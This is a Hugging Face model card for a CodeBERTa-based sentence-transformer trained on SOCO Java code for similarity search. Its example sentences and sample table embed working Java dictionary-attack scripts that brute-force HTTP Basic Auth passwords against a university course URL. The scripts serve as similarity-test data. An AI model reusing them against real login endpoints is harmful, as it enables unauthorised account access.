buelfhood/SOCO-Java-codeberta-mnrl-triplets-ep1-bs16-lr5e-05-split0.0
SentenceTransformer based on huggingface/CodeBERTa-small-v1
This is a sentence-transformers model finetuned from huggingface/CodeBERTa-small-v1 on the soco_train_java dataset. It maps sentences & paragraphs to a 768-dimensional dense vector space and can be used for semantic textual similarity, semantic search, paraphrase mining, text classification, clustering, and more.
Model Details
Model Description
- Model Type: Sentence Transformer
- Base model: huggingface/CodeBERTa-small-v1 <!-- at revision e93b5898cff07f03f1c1c09cde284d1b85962363 -->
- Maximum Sequence Length: 512 tokens
- Output Dimensionality: 768 dimensions
- Similarity Function: Cosine Similarity
- Training Dataset:
- soco_train_java <!-- - Language: Unknown --> <!-- - License: Unknown -->
Model Sources
- Documentation: Sentence Transformers Documentation
- Repository: Sentence Transformers on GitHub
- Hugging Face: Sentence Transformers on Hugging Face
Full Model Architecture
SentenceTransformer(
(0): Transformer({'max_seq_length': 512, 'do_lower_case': False, 'architecture': 'RobertaModel'})
(1): Pooling({'word_embedding_dimension': 768, 'pooling_mode_cls_token': False, 'pooling_mode_mean_tokens': True, 'pooling_mode_max_tokens': False, 'pooling_mode_mean_sqrt_len_tokens': False, 'pooling_mode_weightedmean_tokens': False, 'pooling_mode_lasttoken': False, 'include_prompt': True})
)Usage
Direct Usage (Sentence Transformers)
First install the Sentence Transformers library:
pip install -U sentence-transformersThen you can load this model and run inference.
from sentence_transformers import SentenceTransformer
# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codeberta-mnrl-triplets-ep1-bs16-lr5e-05-split0.0")
# Run inference
sentences = [
'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n URLConnection conn = null;\n private static boolean status = false;\n\n public static void main (String args[]){\n Dictionary a = new Dictionary();\n String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n \t\t\t\t "",\n \t\t\t\t ""};\n File file = new File("words");\n exit:\n try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n }\n\n public void doit(String args[]) {\n \n try {\n BufferedReader in = new BufferedReader(\n new InputStreamReader\n (connectURL(new URL(args[0]), args[1], args[2])));\n String line;\n while ((line = in.readLine()) != null) {\n System.out.println(line);\n status = true;\n }\n }\n catch (IOException e) {\n \n }\n }\n\n public InputStream connectURL (URL url, String uname, String pword)\n throws IOException {\n conn = url.openConnection();\n conn.setRequestProperty ("Authorization",\n userNamePasswordBase64(uname,pword));\n conn.connect ();\n return conn.getInputStream();\n }\n\n public String userNamePasswordBase64(String username, String password) {\n return " " + base64Encode (username + ":" + password);\n }\n\n private final static char base64Array [] = {\n \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n };\n\n private static String base64Encode (String string) {\n String encodedString = "";\n byte bytes [] = string.getBytes ();\n int i = 0;\n int pad = 0;\n while (i < bytes.length) {\n byte b1 = bytes [i++];\n byte b2;\n byte b3;\n if (i >= bytes.length) {\n b2 = 0;\n b3 = 0;\n pad = 2;\n }\n else {\n b2 = bytes [i++];\n if (i >= bytes.length) {\n b3 = 0;\n pad = 1;\n }\n else\n b3 = bytes [i++];\n }\n byte c1 = (byte)(b1 >> 2);\n byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n byte c4 = (byte)(b3 & 0x3f);\n encodedString += base64Array [c1];\n encodedString += base64Array [c2];\n switch (pad) {\n case 0:\n encodedString += base64Array [c3];\n encodedString += base64Array [c4];\n break;\n case 1:\n encodedString += base64Array [c3];\n encodedString += "=";\n break;\n case 2:\n encodedString += "==";\n break;\n }\n }\n return encodedString;\n }\n }\n\n',
'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n URLConnection conn = null;\n\n public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n a.attack(args);\n }\n\n public void attack(String args[]) {\n try {\n String login = new String("");\n String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n String passwd = new String();\n\n\n passwd = getPasswd();\n BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n String line;\n while ((line = in.readLine()) != null) {\n System.out.println(line);\n }\n System.out.println("Password Cracked Successfully!!!");\n System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n }\n catch (IOException e) {\n \n String r = new String(e.getMessage());\n if ( r != null)\n {\n System.out.println("Message :" +r);\n Dictionary a = new Dictionary();\n a.attack(args);\n }\n else\n {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n }\n }\n }\n public String getPasswd()\n {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n String currentword = "";\n String se = "";\n try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n catch( IOException e){}\n\n return currentword;\n\t \n }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException {\n conn = url.openConnection();\n conn.setDoInput (true);\n conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n conn.connect ();\n return conn.getInputStream();\n }\n\n\n public String userNamePasswordBase64(String username, String password) {\n return " " + base64Encode (username + ":" + password);\n }\n\n private final static char base64Array [] = {\n \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n };\n\n private static String base64Encode (String string) {\n String encodedString = "";\n byte bytes [] = string.getBytes ();\n int i = 0;\n int pad = 0;\n while (i < bytes.length) {\n byte b1 = bytes [i++];\n byte b2;\n byte b3;\n if (i >= bytes.length) {\n b2 = 0;\n b3 = 0;\n pad = 2;\n }\n else {\n b2 = bytes [i++];\n if (i >= bytes.length) {\n b3 = 0;\n pad = 1;\n }\n else\n b3 = bytes [i++];\n }\n byte c1 = (byte)(b1 >> 2);\n byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n byte c4 = (byte)(b3 & 0x3f);\n encodedString += base64Array [c1];\n encodedString += base64Array [c2];\n switch (pad) {\n case 0:\n encodedString += base64Array [c3];\n encodedString += base64Array [c4];\n break;\n case 1:\n encodedString += base64Array [c3];\n encodedString += "=";\n break;\n case 2:\n encodedString += "==";\n break;\n }\n }\n return encodedString;\n }\n }\n\n',
'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n protected String wordFile;\n\n public Dictionary()\n {\n super();\n }\n\n public static void main(String[] args)\n {\n Dictionary dictionary = new Dictionary();\n\n if (args.length < 3)\n {\n System.out.println(dictionary.printUsage());\n }\n else\n {\n dictionary.setURL(args[0]);\n dictionary.setUserName(args[1]);\n dictionary.setWordFile(args[2]);\n\n if (args.length > 3)\n {\n dictionary.setFileName(args[3]);\n }\n dictionary.process();\n System.out.println(dictionary.printResult());\n System.exit(1);\n }\n }\n\n public void process()\n {\n attempts = 0;\n String password = "";\n \n setStart(new Timestamp(System.currentTimeMillis()));\n\n BufferedReader input = null;\n try\n {\n FileReader file = new FileReader(getWordFile());\n \n input = new BufferedReader(file);\n \n }\n catch (FileNotFoundException x)\n {\n System.err.println("File not found: " + getWordFile());\n System.exit(2);\n }\n\n try\n {\n while ((password = input.readLine()) != null)\n {\n try\n {\n \n attempts++;\n BasicAuthHttpRequest req =\n new BasicAuthHttpRequest(\n getURL(),\n getUserName(),\n password);\n setPassword(password);\n setEnd(new Timestamp(System.currentTimeMillis()));\n setContent(req.getContent().toString());\n\n \n if (getFileName() != null\n && getFileName().length() > 0)\n {\n createReport();\n }\n return;\n }\n catch (MalformedURLException e)\n {\n e.printStackTrace();\n return;\n }\n catch (IOException e)\n {\n\n }\n }\n }\n catch (IOException x)\n {\n x.printStackTrace();\n }\n\n \n setEnd(new Timestamp(System.currentTimeMillis()));\n\n }\n\n public String printUsage()\n {\n StringBuffer s = new StringBuffer();\n\n s.append("** BruteForce proper usage **\\n\\n");\n s.append(\n "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n return s.toString();\n }\n \n public String getWordFile()\n {\n return wordFile;\n }\n\n \n public void setWordFile(String string)\n {\n wordFile = string;\n }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]
# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8696, 0.1269],
# [0.8696, 1.0000, 0.0209],
# [0.1269, 0.0209, 1.0000]])<!--
Direct Usage (Transformers)
<details><summary>Click to see the direct usage in Transformers</summary>
</details> -->
<!--
Downstream Usage (Sentence Transformers)
You can finetune this model on your own dataset.
<details><summary>Click to expand</summary>
</details> -->
<!--
Out-of-Scope Use
List how the model may foreseeably be misused and address what users ought not to do with the model. -->
<!--
Bias, Risks and Limitations
What are the known or foreseeable issues stemming from this model? You could also flag here known failure cases or weaknesses of the model. -->
<!--
Recommendations
What are recommendations with respect to the foreseeable issues? For example, filtering explicit content. -->
Training Details
Training Dataset
socotrainjava
- Dataset: soco_train_java at 44ca4ff
- Size: 42,960 training samples
- Columns: <code>anchorcode</code>, <code>positivecode</code>, and <code>negative_code</code>
- Approximate statistics based on the first 1000 samples: | | anchorcode | positivecode | negative_code | |:--------|:-------------------------------------------------------------------------------------|:-------------------------------------------------------------------------------------|:-------------------------------------------------------------------------------------| | type | string | string | string | | details | <ul><li>min: 512 tokens</li><li>mean: 512.0 tokens</li><li>max: 512 tokens</li></ul> | <ul><li>min: 512 tokens</li><li>mean: 512.0 tokens</li><li>max: 512 tokens</li></ul> | <ul><li>min: 51 tokens</li><li>mean: 456.08 tokens</li><li>max: 512 tokens</li></ul> |
- Samples: | anchorcode | positivecode | negative_code | |:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|:---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | <code>import java.net.;<br>import java.io.;<br>import java.;<br><br> public class Dictionary {<br><br> URLConnection conn = null;<br> private static boolean status = false;<br><br> public static void main (String args[]){<br> Dictionary a = new Dictionary();<br> String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",<br> "",<br> ""};<br> File file = new File("words");<br> exit:<br> try {<br> BufferedReader in = new BufferedReader(new FileReader(file));<br> int attempt = 0;<br> inp[2] = in.readLine();<br> while (inp[2] != null) {<br> <br> if (inp[2].length() <= 3) {<br> attempt++;<br> a.doit(inp);<br> if (status) {<br> System.out.println("Crrect password is: " + inp[2]);<br> System.out.println("Number of attempts = " + attempt);<br> break exit;<br> }<br> }<br> inp[2] = in.readLine();<br> }<br> } catch (FileNotFoundException e1) {<br> <br> System.err.println("File not found: " + file);<br> } catch (IOException e2) {<br> <br> e2.printStackTrace();<br> }<br><br> }<br><br> public void doit(String ar...</code> | <code>import java.net.;<br>import java.io.;<br><br> public class Dictionary {<br> int attempts = 0;<br> URLConnection conn = null;<br><br> public static void main (String args[]){<br><br> Dictionary a = new Dictionary();<br> a.attack(args);<br> }<br><br> public void attack(String args[]) {<br> try {<br> String login = new String("");<br> String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");<br> String passwd = new String();<br><br><br> passwd = getPasswd();<br> BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));<br><br> String line;<br> while ((line = in.readLine()) != null) {<br> System.out.println(line);<br> }<br> System.out.println("Password Cracked Successfully!!!");<br> System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");<br> }<br> catch (IOException e) {<br> <br> String r = new String(e.getMessage());<br> if ( r != null)<br> {<br> System.out.println...</code> | <code> <br><br><br>import java.io.;<br>import java.net.;<br><br>import java.util.;<br><br>import java.misc.BASE64Encoder;<br><br>public class Dictionary {<br><br> private String userId;<br> private String password;<br><br> ReadDictionary myWords = new ReadDictionary();<br><br> public Dictionary() {<br><br> <br> myWords.openFile();<br><br> <br> Authenticator.setDefault (new MyAuthenticator());<br> <br> <br> }<br><br> public String fetchURL (String urlString) {<br><br><br> StringBuffer sb = new StringBuffer();<br> HttpURLConnection connection;<br> Date startTime, endTime;<br> int responseCode = -1;<br> boolean retry = true; <br> <br> URL url;<br> startTime = new Date();<br> <br> System.out.println (" time :" + startTime);<br><br> while (retry == true)<br> {<br> <br> try {<br><br> url = new URL (urlString);<br><br> connection = (HttpURLConnection)url.openConnection();<br><br> setUserId("");<br> setPassword("rhk8611");<br><br> System.out.println("Attempting get a response : " +connection.getURL() );<br> responseCode = connection.getResponseCode();<br> System.out.print(responseCode + " ");<br><br> if (responseCode == HttpURLCo...</code> | | <code>import java.net.;<br>import java.io.;<br>import java.;<br><br> public class Dictionary {<br><br> URLConnection conn = null;<br> private static boolean status = false;<br><br> public static void main (String args[]){<br> Dictionary a = new Dictionary();<br> String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",<br> "",<br> ""};<br> File file = new File("words");<br> exit:<br> try {<br> BufferedReader in = new BufferedReader(new FileReader(file));<br> int attempt = 0;<br> inp[2] = in.readLine();<br> while (inp[2] != null) {<br> <br> if (inp[2].length() <= 3) {<br> attempt++;<br> a.doit(inp);<br> if (status) {<br> System.out.println("Crrect password is: " + inp[2]);<br> System.out.println("Number of attempts = " + attempt);<br> break exit;<br> }<br> }<br> inp[2] = in.readLine();<br> }<br> } catch (FileNotFoundException e1) {<br> <br> System.err.println("File not found: " + file);<br> } catch (IOException e2) {<br> <br> e2.printStackTrace();<br> }<br><br> }<br><br> public void doit(String ar...</code> | <code>import java.net.;<br>import java.io.;<br><br> public class Dictionary {<br> int attempts = 0;<br> URLConnection conn = null;<br><br> public static void main (String args[]){<br><br> Dictionary a = new Dictionary();<br> a.attack(args);<br> }<br><br> public void attack(String args[]) {<br> try {<br> String login = new String("");<br> String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");<br> String passwd = new String();<br><br><br> passwd = getPasswd();<br> BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));<br><br> String line;<br> while ((line = in.readLine()) != null) {<br> System.out.println(line);<br> }<br> System.out.println("Password Cracked Successfully!!!");<br> System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");<br> }<br> catch (IOException e) {<br> <br> String r = new String(e.getMessage());<br> if ( r != null)<br> {<br> System.out.println...</code> | <code><br><br>public class Base64 {<br><br> final static String baseTable = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";<br><br> <br> public static String encode(byte[] bytes) {<br><br> String tmp = "";<br> int i = 0;<br> byte pos; <br><br> for(i=0; i < (bytes.length - bytes.length%3); i+=3) {<br><br> pos = (byte) ((bytes[i] >> 2) & 63); <br> tmp = tmp + baseTable.charAt(pos); <br><br> pos = (byte) (((bytes[i] & 3) << 4) + ((bytes[i+1] >> 4) & 15)); <br> tmp = tmp + baseTable.charAt( pos );<br> <br> pos = (byte) (((bytes[i+1] & 15) << 2) + ((bytes[i+2] >> 6) & 3));<br> tmp = tmp + baseTable.charAt(pos);<br> <br> pos = (byte) (((bytes[i+2]) & 63));<br> tmp = tmp + baseTable.charAt(pos);<br> <br> <br> <br> if(((i+2)%56) == 0) {<br> tmp = tmp + "\r\n";<br> }<br> }<br><br> if(bytes.length % 3 != 0) {<br><br> if(bytes.length % 3 == 2) {<br><br> pos = (byte) ((bytes[i] >> 2) & 63); <br> tmp = tmp + baseTable.charAt(pos); <br><br> pos = (byte) (((bytes[i] & 3) << 4) + ((bytes[i+1] >> 4) & 15)); <br> tmp = tmp + baseTable.charAt( pos );<br> <br> ...</code> | | <code>import java.net.;<br>import java.io.;<br>import java.;<br><br> public class Dictionary {<br><br> URLConnection conn = null;<br> private static boolean status = false;<br><br> public static void main (String args[]){<br> Dictionary a = new Dictionary();<br> String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",<br> "",<br> ""};<br> File file = new File("words");<br> exit:<br> try {<br> BufferedReader in = new BufferedReader(new FileReader(file));<br> int attempt = 0;<br> inp[2] = in.readLine();<br> while (inp[2] != null) {<br> <br> if (inp[2].length() <= 3) {<br> attempt++;<br> a.doit(inp);<br> if (status) {<br> System.out.println("Crrect password is: " + inp[2]);<br> System.out.println("Number of attempts = " + attempt);<br> break exit;<br> }<br> }<br> inp[2] = in.readLine();<br> }<br> } catch (FileNotFoundException e1) {<br> <br> System.err.println("File not found: " + file);<br> } catch (IOException e2) {<br> <br> e2.printStackTrace();<br> }<br><br> }<br><br> public void doit(String ar...</code> | <code>import java.net.;<br>import java.io.;<br><br> public class Dictionary {<br> int attempts = 0;<br> URLConnection conn = null;<br><br> public static void main (String args[]){<br><br> Dictionary a = new Dictionary();<br> a.attack(args);<br> }<br><br> public void attack(String args[]) {<br> try {<br> String login = new String("");<br> String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");<br> String passwd = new String();<br><br><br> passwd = getPasswd();<br> BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));<br><br> String line;<br> while ((line = in.readLine()) != null) {<br> System.out.println(line);<br> }<br> System.out.println("Password Cracked Successfully!!!");<br> System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");<br> }<br> catch (IOException e) {<br> <br> String r = new String(e.getMessage());<br> if ( r != null)<br> {<br> System.out.println...</code> | <code><br><br>import java.net.;<br>import java.io.IOException;<br>import java.util.;<br>import java.io.*;<br>public class Dictionary {<br> static String userName;<br> static URL url;<br> static URLAuthenticator urlAuthenticator;<br> static int noOfAttempts;<br> <br> public Dictionary() {<br> }<br><br> public static void main (String args[]) {<br> Properties props = System.getProperties();<br> props.put("http.proxyHost", "bluetongue.cs.rmit.edu.:8080");<br> <br> System.out.println(props.get("http.proxyHost"));<br> BufferedReader inFile = null;<br> <br> try {<br> if (args.length < 1) { <br> System.out.println ("Usage : java Dictionary /usr/share/lib/dict/words");<br> System.exit(1);<br> } <br> inFile = new BufferedReader (new FileReader(args[0]));<br><br><br><br> breakPassword(inFile);<br> }<br> <br> catch (FileNotFoundException e) { <br> System.err.println(e.getMessage());<br> System.exit(1);<br> }<br> catch (IOException e) { <br> ...</code> |
- Loss: <code>MultipleNegativesRankingLoss</code> with these parameters:
{
"scale": 20.0,
"similarity_fct": "cos_sim",
"gather_across_devices": false
}Training Hyperparameters
Non-Default Hyperparameters
per_device_train_batch_size: 16num_train_epochs: 1fp16: Truebatch_sampler: no_duplicates
All Hyperparameters
<details><summary>Click to expand</summary>
overwrite_output_dir: Falsedo_predict: Falseeval_strategy: noprediction_loss_only: Trueper_device_train_batch_size: 16per_device_eval_batch_size: 8per_gpu_train_batch_size: Noneper_gpu_eval_batch_size: Nonegradient_accumulation_steps: 1eval_accumulation_steps: Nonetorch_empty_cache_steps: Nonelearning_rate: 5e-05weight_decay: 0.0adam_beta1: 0.9adam_beta2: 0.999adam_epsilon: 1e-08max_grad_norm: 1.0num_train_epochs: 1max_steps: -1lr_scheduler_type: linearlr_scheduler_kwargs: {}warmup_ratio: 0warmup_steps: 0log_level: passivelog_level_replica: warninglog_on_each_node: Truelogging_nan_inf_filter: Truesave_safetensors: Truesave_on_each_node: Falsesave_only_model: Falserestore_callback_states_from_checkpoint: Falseno_cuda: Falseuse_cpu: Falseuse_mps_device: Falseseed: 42data_seed: Nonejit_mode_eval: Falsebf16: Falsefp16: Truefp16_opt_level: O1half_precision_backend: autobf16_full_eval: Falsefp16_full_eval: Falsetf32: Nonelocal_rank: 0ddp_backend: Nonetpu_num_cores: Nonetpu_metrics_debug: Falsedebug: []dataloader_drop_last: Falsedataloader_num_workers: 0dataloader_prefetch_factor: Nonepast_index: -1disable_tqdm: Falseremove_unused_columns: Truelabel_names: Noneload_best_model_at_end: Falseignore_data_skip: Falsefsdp: []fsdp_min_num_params: 0fsdp_config: {'minnumparams': 0, 'xla': False, 'xlafsdpv2': False, 'xlafsdpgrad_ckpt': False}fsdp_transformer_layer_cls_to_wrap: Noneaccelerator_config: {'splitbatches': False, 'dispatchbatches': None, 'evenbatches': True, 'useseedablesampler': True, 'nonblocking': False, 'gradientaccumulationkwargs': None}parallelism_config: Nonedeepspeed: Nonelabel_smoothing_factor: 0.0optim: adamwtorchfusedoptim_args: Noneadafactor: Falsegroup_by_length: Falselength_column_name: lengthproject: huggingfacetrackio_space_id: trackioddp_find_unused_parameters: Noneddp_bucket_cap_mb: Noneddp_broadcast_buffers: Falsedataloader_pin_memory: Truedataloader_persistent_workers: Falseskip_memory_metrics: Trueuse_legacy_prediction_loop: Falsepush_to_hub: Falseresume_from_checkpoint: Nonehub_model_id: Nonehub_strategy: every_savehub_private_repo: Nonehub_always_push: Falsehub_revision: Nonegradient_checkpointing: Falsegradient_checkpointing_kwargs: Noneinclude_inputs_for_metrics: Falseinclude_for_metrics: []eval_do_concat_batches: Truefp16_backend: autopush_to_hub_model_id: Nonepush_to_hub_organization: Nonemp_parameters:auto_find_batch_size: Falsefull_determinism: Falsetorchdynamo: Noneray_scope: lastddp_timeout: 1800torch_compile: Falsetorch_compile_backend: Nonetorch_compile_mode: Noneinclude_tokens_per_second: Falseinclude_num_input_tokens_seen: noneftune_noise_alpha: Noneoptim_target_modules: Nonebatch_eval_metrics: Falseeval_on_start: Falseuse_liger_kernel: Falseliger_kernel_config: Noneeval_use_gather_object: Falseaverage_tokens_across_devices: Trueprompts: Nonebatch_sampler: no_duplicatesmulti_dataset_batch_sampler: proportionalrouter_mapping: {}learning_rate_mapping: {}
</details>
Training Logs
Framework Versions
- Python: 3.12.3
- Sentence Transformers: 5.1.1
- Transformers: 4.57.0
- PyTorch: 2.8.0+cu128
- Accelerate: 1.10.1
- Datasets: 4.1.1
- Tokenizers: 0.22.1
Citation
BibTeX
Sentence Transformers
@inproceedings{reimers-2019-sentence-bert,
title = "Sentence-BERT: Sentence Embeddings using Siamese BERT-Networks",
author = "Reimers, Nils and Gurevych, Iryna",
booktitle = "Proceedings of the 2019 Conference on Empirical Methods in Natural Language Processing",
month = "11",
year = "2019",
publisher = "Association for Computational Linguistics",
url = "https://arxiv.org/abs/1908.10084",
}MultipleNegativesRankingLoss
@misc{henderson2017efficient,
title={Efficient Natural Language Response Suggestion for Smart Reply},
author={Matthew Henderson and Rami Al-Rfou and Brian Strope and Yun-hsuan Sung and Laszlo Lukacs and Ruiqi Guo and Sanjiv Kumar and Balint Miklos and Ray Kurzweil},
year={2017},
eprint={1705.00652},
archivePrefix={arXiv},
primaryClass={cs.CL}
}<!--
Glossary
Clearly define terms in order to be accessible across audiences. -->
<!--
Model Card Authors
Lists the people who create the model card, providing recognition and accountability for the detailed work that goes into its construction. -->
<!--
Model Card Contact
Provides a way for people who have updates to the Model Card, suggestions, or questions, to contact the Model Card authors. -->
